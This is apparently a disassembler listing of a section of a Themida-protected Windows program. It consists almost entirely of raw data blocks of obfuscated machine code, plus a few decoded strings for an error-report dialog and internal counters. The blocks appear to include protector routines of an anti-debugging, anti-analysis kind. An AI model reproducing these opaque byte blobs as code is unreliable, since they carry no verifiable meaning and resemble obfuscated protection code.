		dd 0B3878BF8h, 258DBD83h, 0F000637h, 2E84h, 5E900h, 9B030000h
		dd 81739BDBh, 36F339C1h, 0E9858D07h, 0E90639F3h, 8, 5B24E14Dh
		dd 3EF53EADh, 12E9h, 0D8D2900h,	8D063704h, 39F3BF85h, 7DBD8B06h
		dd 50063717h, 0F3F7BF66h, 0F38CB5FFh, 830F0639h, 9, 0FDB58960h
		dd 0F9063709h, 0C7816661h, 95FFD8A2h, 639F384h,	22A19D89h
		dd 85890637h, 639F390h,	17A59589h, 3EB90637h, 0C735E0DBh
		dd 37195585h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD833735h, 639F390h
		dd 9E840F00h, 0E9000001h, 13h, 5CC06091h, 0A2627667h, 68FD1C3Eh
		dd 0A21A5201h, 8A9BA886h, 6E858DCCh, 6A0639F6h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 854DC357h, 0C752BCF0h, 5050FEB9h, 0AE9h, 2D24C300h
		dd 0FE3E74AFh, 5F32CA4Eh, 0D68B016Ah, 0F390B5FFh, 0B5890639h
		dd 63721A1h, 0F38895FFh, 0B5BA0639h, 0FF045253h, 39F390B5h
		dd 0DE906h, 70970000h, 1624960Ch, 5762FD1Eh, 0FF8A5C75h
		dd 37286195h, 0CFBF0F06h, 0F01FF68h, 75958B00h,	83063706h
		dd 37258DBDh, 840F0006h, 46h, 895BD680h, 37138D95h, 0E9858D06h
		dd 6A0639F3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B9ECC350h, 4A3E2865h,	160F874h
		dd 371BA185h, 81B50906h, 6106371Eh, 0FE9h, 858DF800h, 639F3BFh
		dd 7F99533h, 12B20637h,	52006A50h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9D29E340h, 6371B8Dh, 0F38CB5FFh
		dd 6A0639h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 509EF5C3h, 4DA1EFF1h, 8B0F03B7h, 5, 2FC18166h
		dd 8495FF81h, 0E90639F3h, 0Ch, 98E4D674h, 9A47BB93h, 0CB0113B4h
		dd 0F3908589h, 958B0639h, 63707E5h, 0F390B5FFh,	0FFF80639h
		dd 39F38095h, 0C7F28106h, 0FF3AE97Bh, 39F390B5h, 0FFCB8B06h
		dd 37286195h, 5ABF6606h, 0F614E90Ch, 6AFFFFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 3C1BBCC3h
		dd 2DD0C1FCh, 338F00A3h, 372D7D8Dh, 0D9B5FF06h,	6A0639FEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 1C69C350h, 39858916h, 0FF063707h,	37129195h
		dd 858BF906h, 6371FB1h,	7E9h, 784F0400h, 0A2A307C9h, 0E9CFEE80h
		dd 50Fh, 0D359C9BFh, 48B0F42h, 66000000h, 8D0ACDB9h, 39F68EB5h
		dd 860F06h, 8D000000h, 39A32B85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 53937064h
		dd 8BD8D3EFh, 8BD0FFD3h, 3728BD8Dh, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0FBABC351h, 56255604h, 0FCBFD624h, 0FF5B2E68h, 37042D95h
		dd 9D78B06h, 371B5D85h,	66F38B06h, 0E7F2D781h, 0A32B858Dh
		dd 6A0639h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0DF20E7C3h, 0FFAC1AFCh, 0D78166D0h, 6A6B49h
		dd 32B18D03h, 95FF0637h, 637042Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 8AC35040h, 1AB5FB65h, 8AF8C08Bh
		dd 29BD83ECh, 63719h, 0BD830975h, 6371FE1h, 50197400h
		dd 0B8C08B53h, 7D9h, 1B418589h,	9D8D0637h, 639B10Ch, 585BD3FFh
		dd 1FE1BD83h, 74000637h, 0B8535017h, 7D9h, 1B418589h, 9D8D0637h
		dd 639ADFBh, 585BD3FFh,	52D1BF0Fh, 1A419503h, 8B5F0637h
		dd 0F8BF0FC0h, 9D896050h, 63705E9h, 61D6BF0Fh, 8166D88Bh
		dd 0B67F20C1h, 9D8D53BEh, 6372F95h, 389038Bh, 8950438Bh
		dd 9D8D5043h, 639FE72h,	389038Bh, 0EA81665Bh, 0BD238CB0h
		dd 63713CDh, 858D006Ah,	639FE72h, 5004F580h, 61950160h
		dd 89063717h, 37061185h, 12E96106h, 1E000000h, 7938202Ah
		dd 5B4EF101h, 611F01DFh, 0F8DE134h, 8B606AD3h, 37332D95h
		dd 95858D06h, 6606372Fh, 5000F4BFh, 6ACE8B66h, 0B4D68000h
		dd 8D89006Ah, 6371D31h,	180068h, 6D9D2900h, 53063705h
		dd 0FF87D680h, 370BB195h, 9E906h, 486D0000h, 18725AA5h
		dd 8B7769AFh, 7595FFFEh, 0E906370Bh, 0Dh, 169DC88Ch, 5A27BF65h
		dd 0E579947Ch, 0D9B5FF99h, 8B0639FEh, 3705918Dh, 9195FF06h
		dd 8B063712h, 372F5D8Dh, 8DD68B06h, 372F9585h, 8BC88B06h
		dd 958B1840h, 6371C69h,	1D4D85C7h, 637h, 0B70F0000h, 8DBD83F9h
		dd 63725h, 37840Fh, 0CEBA0000h,	3D3F7904h, 8Ch,	1C0830Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 1CED59C3h, 1AE93Ah, 8B660000h, 963DFEh, 830F0000h
		dd 18Eh, 6860Fh, 95310000h, 6370EE9h, 0F59F858Dh, 0BE8005Ah
		dd 33000000h, 373C84E7h, 0E1EFB1ABh, 0BD09D3B6h, 637263Dh
		dd 89D0FF5Fh, 370CADBDh, 0F2858D06h, 6A005AEFh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 24AAC351h, 0EF8A54EAh, 9529D0FFh, 6371E51h, 6810Fh
		dd 8D8B0000h, 6370C85h,	89B9C08Bh, 836EA488h, 371929BDh
		dd 9750006h, 1FE1BD83h,	74000637h, 8B535019h, 0BC6B8C0h
		dd 85890000h, 6371B41h,	0B10C9D8Dh, 0D3FF0639h,	0BD83585Bh
		dd 6371FE1h, 50177400h,	0BC6B853h, 85890000h, 6371B41h
		dd 0ADFB9D8Dh, 0D3FF0639h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CE339FC3h
		dd 6AF394h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0B97329C3h, 29CA3E23h, 83F5C08Bh,	850FFFF8h
		dd 5Ch,	12E9h, 3D4CB400h, 349AC76Dh, 58671E40h,	0ED76B825h
		dd 0C7409F43h, 37239985h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0AF4668FCh
		dd 0A08C7017h, 0E0E9BF1Ch, 31000000h, 3705F1B5h, 21E906h
		dd 0BD010000h, 6372ADDh, 0F01F883h, 1285h, 898D2900h, 0E9063718h
		dd 0F7h, 18F0Fh, 0E9FC0000h, 0FFFFF17Ah, 22AD8D8Bh, 0C08B0637h
		dd 0BD83CE8Bh, 6371929h, 83097500h, 371FE1BDh, 19740006h
		dd 0C08B5350h, 7DDB8h, 41858900h, 8D06371Bh, 39B10C9Dh
		dd 5BD3FF06h, 0E1BD8358h, 6371Fh, 53501774h, 7DDB8h, 41858900h
		dd 8D06371Bh, 39ADFB9Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 71C75A48h
		dd 0F534406Ah, 8160C08Bh, 6A0E86DEh, 31E96134h,	6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 11C8C351h, 0DF8A2A28h, 15953326h,	8D063723h
		dd 39FC7685h, 0D6B70F06h, 0FE6E8589h, 5FE90639h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 9195C351h, 0D5A5E59Dh, 0A99D8947h, 8D06370Bh
		dd 39FA7E85h, 358D2B06h, 4006372Fh, 0FE6E8589h,	6A0639h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8956EFC3h, 372AA585h, 346A5F06h, 3239858Dh, 0FF500637h
		dd 39FE6EB5h, 0FF006A06h, 3718A595h, 7F88306h, 162840Fh
		dd 8C660000h, 4C3F6DBh,	0FC850Fh, 85C60000h, 63722B9h
		dd 0B8526856h, 0B5FF9CA8h, 6371B49h, 3A14858Dh,	0D0FF0637h
		dd 68046Ah, 6A000010h, 0FF006A64h, 0E18589D0h, 0C60639FEh
		dd 3722B985h, 9B684706h, 0FFEC18ACh, 371B49B5h,	14858D06h
		dd 0FF06373Ah, 8BD0FFD0h, 0B985C6F0h, 4F063722h, 2F266168h
		dd 11B5FFC6h, 8D063720h, 373A1485h, 8DD0FF06h, 39FEDD9Dh
		dd 286A5306h, 85D0FF56h, 0C60075C0h, 3722B985h,	98684106h
		dd 0FFDB8764h, 372011B5h, 14858D06h, 0FF06373Ah, 0FA8589D0h
		dd 0C60639FEh, 3722B985h, 0A4684C06h, 0FF80A4E7h, 372011B5h
		dd 14858D06h, 0FF06373Ah, 0E19D8BD0h, 8D0639FEh, 8D53045Bh
		dd 39FEE69Dh, 6A5306h, 9D8BD0FFh, 639FEE1h, 103C7h, 43C70000h
		dd 20Ch, 1185C700h, 6371Ch, 6A000000h, 6A006A00h, 0E19D8B00h
		dd 530639FEh, 0B5FF006Ah, 639FEDDh, 0FEFA95FFh,	85C60639h
		dd 63722B9h, 0F7976845h, 0B5FF92A5h, 637045Dh, 3A14858Dh
		dd 0D0FF0637h, 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h
		dd 639FEE1h, 0C43C7h, 6A000000h, 8B006A00h, 39FEE19Dh
		dd 6A5306h, 0FEDDB5FFh,	95FF0639h, 639FEFAh, 0FEDDB5FFh
		dd 95FF0639h, 6370B75h,	95FF006Ah, 637042Dh, 2F118D89h
		dd 8D8B0637h, 63718F9h,	317F858Dh, 8E9063Ah, 7D000000h
		dd 9B3FAB3h, 81F8E436h,	0F20C1DFh, 0BA665072h, 0FF649DCDh
		dd 35h,	25896400h, 0
		dd 0AA98D8Bh, 9D890637h, 63700ADh, 0B95BD83h, 0F000637h
		dd 4784h, 6BEF8100h, 8324A226h,	37089DBDh, 850F0106h, 34h
		dd 14E8h, 39D1DE00h, 30AD4D67h,	5155DEDBh, 0B52220B4h
		dd 0F594F822h, 805AF94Ch, 3A02FABDh, 850F0006h,	0Ch, 7AE921B1h
		dd 0B9000001h, 740971DEh, 0D580DB33h, 53C03346h, 5618D8Bh
		dd 40590637h, 0B073F0Fh, 58F64h, 83000000h, 0BD8B04C4h
		dd 6370A81h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0EFC35343h, 8B6623BCh, 0FFFB83CFh, 11840Fh, 85890000h
		dd 63732BDh, 112E9h, 1958B00h, 0E906371Ah, 7Eh,	0BBDBD89h
		dd 4C8B0637h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h
		dd 5C8BC3C0h, 0E8550C24h, 0
		dd 0A1ED815Dh, 8B063A31h, 0B883h, 8A858D00h, 89063A32h
		dd 0B883h, 0C0335D00h, 51006AC3h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 49A58143h, 9004ADD9h
		dd 0BF6602CFh, 60F92838h, 16DB8166h, 880F57AEh,	0
		dd 858D6158h, 63A3197h,	50FBBF0Fh, 0FE960h, 0A9DD0000h
		dd 6DB9A40Eh, 39985A8Bh, 0D9415608h, 12E935h, 0F3EA0000h
		dd 1DD919D6h, 63A9E86Ch, 0F4191B87h, 346E2C83h,	8D9D8961h
		dd 64063711h, 35FFh, 5E80000h, 0BF000000h, 272ED978h, 5DBD8B5Fh
		dd 64063723h, 2589h, 0D0BF0000h, 0B9469334h, 0Ah, 55D704B8h
		dd 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h, 5FE8EA81h
		dd 81ED0034h, 4D5868FBh, 0C70A7556h, 37083185h,	106h, 58F6400h
		dd 0
		dd 8B04C483h, 37001995h, 0C08BF506h, 0AA58D89h,	0DE800637h
		dd 29BD83EAh, 63719h, 0BD830975h, 6371FE1h, 50197400h
		dd 0B8C08B53h, 43Dh, 2A058589h,	9D8D0637h, 639B173h, 585BD3FFh
		dd 1FE1BD83h, 74000637h, 0B8535017h, 43Dh, 2A058589h, 9D8D0637h
		dd 639AE14h, 585BD3FFh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 1CC35141h, 0E7164FE2h, 8BE874F1h, 890FD6h
		dd 8B000000h, 13AE9C0h,	40000h,	2E310000h, 353538h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
		dw 6C50h
		dd 65736165h, 6573202Ch, 7420646Eh, 66206568h, 6F6C6C6Fh
		dd 676E6977h, 646F6320h, 74207365h, 6E69206Fh, 6F406F66h
		dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h
		db 20h,	63h, 6Ch
aIpboardVersion	db 'ipboard)    ',0Ah   ; DATA XREF: Themida_:0053E4A4o
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dd 17BDBD83h, 0F000637h, 12D84h, 2B858D00h, 500639ACh
		dd 0AB95858Dh, 68500639h, 80000001h, 0AC3B95FFh, 858D0639h
		dd 63A3323h, 2D858D50h,	50063A33h, 6A006Ah, 0ABA9858Dh
		dd 0FF500639h, 39AC2BB5h, 0E195FF06h, 8D063722h, 3A332385h
		dd 858D5006h, 63A3331h,	6A006A50h, 0BB858D00h, 500639ABh
		dd 0AC2BB5FFh, 95FF0639h, 63722E1h, 3323858Dh, 8D50063Ah
		dd 3A333D85h, 6A5006h, 858D006Ah, 639AC08h, 2BB5FF50h
		dd 0FF0639ACh, 3722E195h, 23858D06h, 50063A33h,	3345858Dh
		dd 6A50063Ah, 8D006A00h, 39AC2685h, 0B5FF5006h,	639AC2Bh
		dd 22E195FFh, 858D0637h, 63A3323h, 41858D50h, 50063A33h
		dd 6A006Ah, 0AC0F858Dh,	0FF500639h, 39AC2BB5h, 0E195FF06h
		dd 8D063722h, 3A332385h, 858D5006h, 63A3335h, 6A006A50h
		dd 17858D00h, 500639ACh, 0AC2BB5FFh, 95FF0639h,	63722E1h
		dd 3323858Dh, 8D50063Ah, 3A333985h, 6A5006h, 858D006Ah
		dd 639AC1Eh, 2BB5FF50h,	0FF0639ACh, 3722E195h, 2BB5FF06h
		dd 0FF0639ACh, 372AA195h, 0A2E906h, 0BD830000h,	6372EADh
		dd 95840F00h, 83000000h, 37089DBDh, 850F0006h, 11h, 6FD958Bh
		dd 0C2810637h, 1CF8h, 0FE9h, 95958D00h,	8B06372Fh, 0C2813452h
		dd 3BD4C340h, 13919589h, 0BD830637h, 6371391h, 55840F00h
		dd 8B000000h, 3713919Dh, 4CC38306h, 8589038Bh, 63A332Dh
		dd 13919D8Bh, 0C3830637h, 89038B50h, 3A333185h,	919D8B06h
		dd 83063713h, 38B54C3h,	333D8589h, 9D8B063Ah, 6371391h
		dd 8B58C383h, 41858903h, 8B063A33h, 3713919Dh, 5CC38306h
		dd 8589038Bh, 63A3335h,	17BDBD83h, 0F000637h, 0D85h, 0ADBD8300h
		dd 6372Eh, 68840Fh, 0B5FF0000h,	63A3345h, 3339B5FFh, 0B5FF063Ah
		dd 63A3335h, 3341B5FFh,	0B5FF063Ah, 63A333Dh, 3331B5FFh
		dd 0B5FF063Ah, 63A332Dh, 3327858Dh, 8D50063Ah, 3A335F85h
		dd 858D5006h, 6372655h,	0A995FF50h, 83063707h, 406A24C4h
		dd 3349858Dh, 8D50063Ah, 37265585h, 6A5006h, 18A595FFh
		dd 16A0637h, 42D95FFh, 0C18B0637h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F1BF0FA8h
		dd 0E9F2BF0Fh, 0Fh, 72A08210h, 0BB5D9F36h, 0FC154AB9h
		dd 8BAF4668h, 0BE8C0h, 45370000h, 8CBC8AC9h, 488EA7CCh
		dd 0F280608Ch, 890F3Bh,	61000000h, 29BD8359h, 63719h, 0BD830975h
		dd 6371FE1h, 50197400h,	0B8C08B53h, 40Eh, 1B418589h, 9D8D0637h
		dd 639B10Ch, 585BD3FFh,	1FE1BD83h, 74000637h, 0B8535017h
		dd 40Eh, 1B418589h, 9D8D0637h, 639ADFBh, 585BD3FFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D1C35141h, 0EB50D833h
		dd 0C08B81B5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0E1C35646h, 0BF098AA4h,	0B2D7F8FBh, 0D08B668Fh
		dd 0B95BD83h, 0F000637h, 3684h,	0E9CB8B00h, 231h, 13E9h
		dd 0CD9A2600h, 0C9206153h, 0CC27915Fh, 25165DF0h, 9831BD16h
		dd 0E9FD8A60h, 0Eh, 983A5480h, 0C242FB19h, 0B4CD35D1h
		dd 8C61B6BCh, 56006ADFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0BD131041h, 0CFC2886Ch, 8F0F3924h
		dd 5, 93D68166h, 0DA81665Ah, 0F76600CDh, 0F0004C7h, 1C085h
		dd 0BF00h, 12E90000h, 62000000h, 6B8C89C7h, 0BE1E794Fh
		dd 0A896D37h, 5F9C52Dh,	0DBDA81B3h, 8D2BC47Fh, 3A398C9Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 3BA8A69Eh, 6274C315h, 0E11BE281h, 5093027Dh
		dd 0E8310F52h, 5, 21190EC4h, 585A5E85h,	9E850h,	8E3F0000h
		dd 76EF70D0h, 0E9458E1Ah, 0Fh, 823C8108h, 25884514h, 58BED968h
		dd 5E373142h, 13E893h, 59E70000h, 6C64FC31h, 6D3BA0C1h
		dd 0B5F5EF05h, 7EBC3C5Bh, 87EE806Eh, 35FF645Ah,	0
		dd 58D0Fh, 0BBBE0000h, 64670816h, 2589h, 14BE0000h, 8B41E749h
		dd 0CDC181C4h, 0CD4DD3F1h, 6000EB01h, 8166FC8Ah, 612F82EEh
		dd 0BE8h, 90FC5D00h, 0FB549F37h, 65AFC47Fh, 6800Fh, 830F0000h
		dd 0
		dd 58F645Ah, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D9C35242h
		dd 66C90BC1h, 830F85BAh, 816604C4h, 0BEFD7DAh, 92840FC0h
		dd 8B000000h, 0BD8D61F1h, 63772A7h, 1B8h, 0C88B6600h, 850FE7FFh
		dd 17h,	0FE9FC60h, 72000000h, 0B9329278h, 0E2CE9973h, 0E6A1A659h
		dd 5761E800h, 10245C8Bh, 0B8838Bh, 0B60F0000h, 0C8FE0140h
		dd 0B08389h, 83830000h,	0B8h, 0C0335F02h, 5E9C3h, 2FC90000h
		dd 6A5F5423h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 94E2C355h, 0BEB2C0B7h,	10E9h
		dd 0C00FE400h, 102FA0F5h, 0E8D85BD1h, 0C04AC2E5h, 810F61A6h
		dd 0Dh,	8E9h, 0B24F5E00h, 55CCFA82h, 6AC08B17h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 312DC350h, 81882568h, 0C3D8CCE6h, 29BD832Ch,	63719h
		dd 0BD830975h, 6371FE1h, 50197400h, 0B8C08B53h,	40Eh, 2A058589h
		dd 9D8D0637h, 639B173h,	585BD3FFh, 1FE1BD83h, 74000637h
		dd 0B8535017h, 40Eh, 2A058589h,	9D8D0637h, 639AE14h, 585BD3FFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 38C35242h
		dd 0C6C929E1h, 52BE93EDh, 5AF28B57h, 8BCE8B66h,	9BBE66C0h
		dd 0E8C28B9Ch, 5, 592E337Fh, 18BF5B9Ah,	81301F14h, 6380C3h
		dd 81665600h, 5AA61BEFh, 18B668h, 1DBDBF00h, 0FF582B90h
		dd 0E6EE8033h, 0F98B665Eh, 1219EE81h, 11E965DEh, 83000000h
		dd 1BA6E3C4h, 0CFC0696Eh, 7F2C02B2h, 5F68FBCFh,	0CD29EE81h
		dd 13E866BAh, 5E000000h, 50218AACh, 0D2F9981Ah,	0B79314D0h
		dd 1715A7F9h, 0B70FF5D6h, 0C68159CBh, 3B760511h, 0F3389F5h
		dd 98Eh, 38D0F00h, 0F000000h, 0EB83C9B7h, 0FE8B6601h, 0B94B4B4Bh
		dd 7B76AAC1h, 8C850F48h, 53FFFFFFh, 0EE9h, 0B30C7B00h
		dd 0B35A4CFBh, 27622DE9h, 5AD12F87h, 0F31718EBh, 9B46h
		dd 4 dup(0)
		dd 0BE90000h
		db 2, 2	dup(0)
aLS		db '`‹\$$è',0           ; DATA XREF: Themida_:0053F6B0o
		align 10h
		dd 0ED815D00h, 63A3B82h, 4C261h, 0FFFFE6E9h
		db 0FFh
aA_2		db '`aÂ',8,0            ; DATA XREF: Themida_:0053D41Co
		dw 0F6E9h
		dd 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h
		dd 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh,	0
		dd 0C3616000h, 0FFFFF8E9h, 0BAB58BFFh, 81063A3Bh, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0BEB53B00h
		dd 0F063A3Bh, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
		dd 24C88C66h, 0FC00A03h, 1984h,	0BB535000h, 2, 1391858Bh
		dd 18860637h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
		dd 0FFFFFFCFh, 2474FF50h, 6195FF08h, 5006372Ah,	244C010Fh
		dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h,	665B0258h
		dd 324C88Ch, 840FC00Ah,	9, 1391858Bh, 0C60637h,	4FF5800h
		dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
		dd 3884h, 2BB00h, 858B0000h, 6371391h, 0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6370D9Dh,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 9D85C700h, 6370Dh
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 5F85C700h
		dd 1063A3Bh, 50000000h,	244C010Fh, 63858FFEh, 8D063A3Bh
		dd 3A3B5B85h, 63BD8D06h, 89063A3Bh, 23E938h, 858D0000h
		dd 6372F95h, 538408Bh, 9B46F317h, 3B5B8589h, 858D063Ah
		dd 6372F95h, 893C408Bh,	3A3B5F85h, 78858D06h, 89063A3Bh
		dd 372A6185h, 87E906h
		db 2 dup(0)
word_570A3A	dw 8B52h		; DATA XREF: Themida_:0053E3C4o
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
		db 8, 0
word_570A62	dw 8B52h		; DATA XREF: Themida_:0053D068o
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
		dd 728BDB33h, 0C4A8B08h, 13E9h,	2D3CAC00h, 0A840Fh, 98040000h
		dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
		dd 8C25A5Eh, 0EB858D00h, 89063A3Dh, 37177585h, 13858D06h
		dd 89063A3Eh, 37041985h, 3B858D06h, 89063A3Eh, 37228185h
		dd 8EB06h, 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 37089D85h
		dd 0CF858D06h, 8B063A88h, 888B08h, 8B000010h, 4A8B660Ah
		dd 9C8D89FCh, 83063A3Eh, 37258DBDh, 840F0006h, 0Fh, 0FF006A60h
		dd 37321995h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 63A3E98h, 3E9CB58Bh, 0CEC1063Ah
		dd 72896610h, 9CB58B02h, 66063A3Eh, 61FC7289h, 3E98858Bh
		dd 8DC3063Ah, 372BCD95h, 91958906h, 89063713h, 37117195h
		dd 7185FF06h, 0C6063711h, 3722B985h, 0D8685306h, 0FFFCB148h
		dd 371B49B5h, 14858D06h, 0FF06373Ah, 198589D0h,	8D063732h
		dd 3A3B9285h, 0CD858906h, 0E9063707h, 51h
dword_570BB8	dd 24748B60h, 3C760324h, 28247C8Bh, 0C281D68Bh,	0F8h, 64E8B66h
					; DATA XREF: Themida_:0053D700o
					; Themida_:0053EDA8o
		dd 83C9B70Fh, 840F00F9h, 16h, 0F0C7A3Bh, 158Fh,	28EA8300h
		dd 8B0C428Bh, 0C12B144Ah, 7C89F82Bh, 0C2611C24h, 0C2830008h
		dd 850F4928h, 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh, 20EB0009h
		dd 8 dup(0)
		dd 526E9h, 51AE900h, 61680000h,	0E9063A41h, 0FFFD3E66h
		dd 3A41FA68h, 3E5CE906h, 9C68FFFDh, 0E9063A43h,	0FFFD3E52h
		dd 3A441268h, 3E48E906h, 44AFFFDh, 0C716D1B1h, 96E39E7Eh
		dd 65B67151h, 33854020h, 9F6510F0h, 664689DBh, 371760ABh
		dd 5E52C7Ch, 0D7B7FE4Ah, 78526D53h, 0EBE7198Ch,	105DCABEh
		dd 733B04CBh, 8E6123CCh, 4734FB42h, 34EEB5FAh, 96C95270h
		dd 8296A88h, 78B62890h,	37h, 0CC348146h, 4B9FE123h, 30E57A2h
		dd 17356DB2h, 5E0C97FCh, 0E62577E7h, 63674E97h,	0E719F3h
		dd 0AED4AFDAh, 0BE055190h, 82D2DDF7h, 2F5A743Bh, 137835h
		dd 81200000h, 0E123CC35h, 56744A9Eh, 5E0C563Bh,	8F6F95E7h
		dd 0CB105DDDh, 0CC743B04h, 0D7256123h, 0F8105DB9h, 4B2B63A6h
		dd 917C2E7Dh, 1ACD238Dh, 73B4B7CBh, 28538B68h, 89A785CDh
		dd 0DCF7206Eh, 1EE50B9Eh, 0BE9EE531h, 85A379CDh, 0A5EEF96Ah
		dd 25716A98h, 0C5FD17DEh, 0D61B68A7h, 0E9CAF50Fh, 0EBFF5620h
		dd 0E4234B98h, 6C864D94h, 0FF17334Eh, 0AED498EBh, 6476583h
		dd 0AFF0BC2Bh, 7D55h, 0D3272300h, 27C4DFFDh, 0C4E75E0Bh
		dd 0DC2E809Eh, 0F25B6F8Ah, 0E208E719h, 19F2CFFBh, 58A39CE7h
		dd 0F62E480Fh, 0F28DBDD8h, 385EE719h, 829CE80Dh, 0F29F035h
		dd 366EB304h, 84F9B56h,	8B2FA13Dh, 94833A39h, 2F2h, 8363B6FCh
		dd 503079C8h, 23034895h, 0F2D21768h, 0C2A2E537h, 3B8D2917h
		dd 125D18F8h, 0DE2EE9C9h, 0B0FCB797h, 1F058969h, 198DC604h
		dd 8478A5E7h, 2BD5Bh, 105D0300h, 733B04CBh, 0B2E123CCh
		dd 0E123CD64h, 23CCDEA9h, 0CC571FE1h, 0C896E123h, 0D6E123CCh
		dd 0D4FF4897h, 23CC8BD3h, 0C69CF0A1h, 0CB1756A8h, 76585984h
		dd 0ED275DC0h, 48FFB3E4h, 144CB090h, 0D62A4Dh, 0B262C7E2h
		dd 0E5242163h, 47224D96h, 8D2A203Bh, 93B9212Dh,	5018905Bh
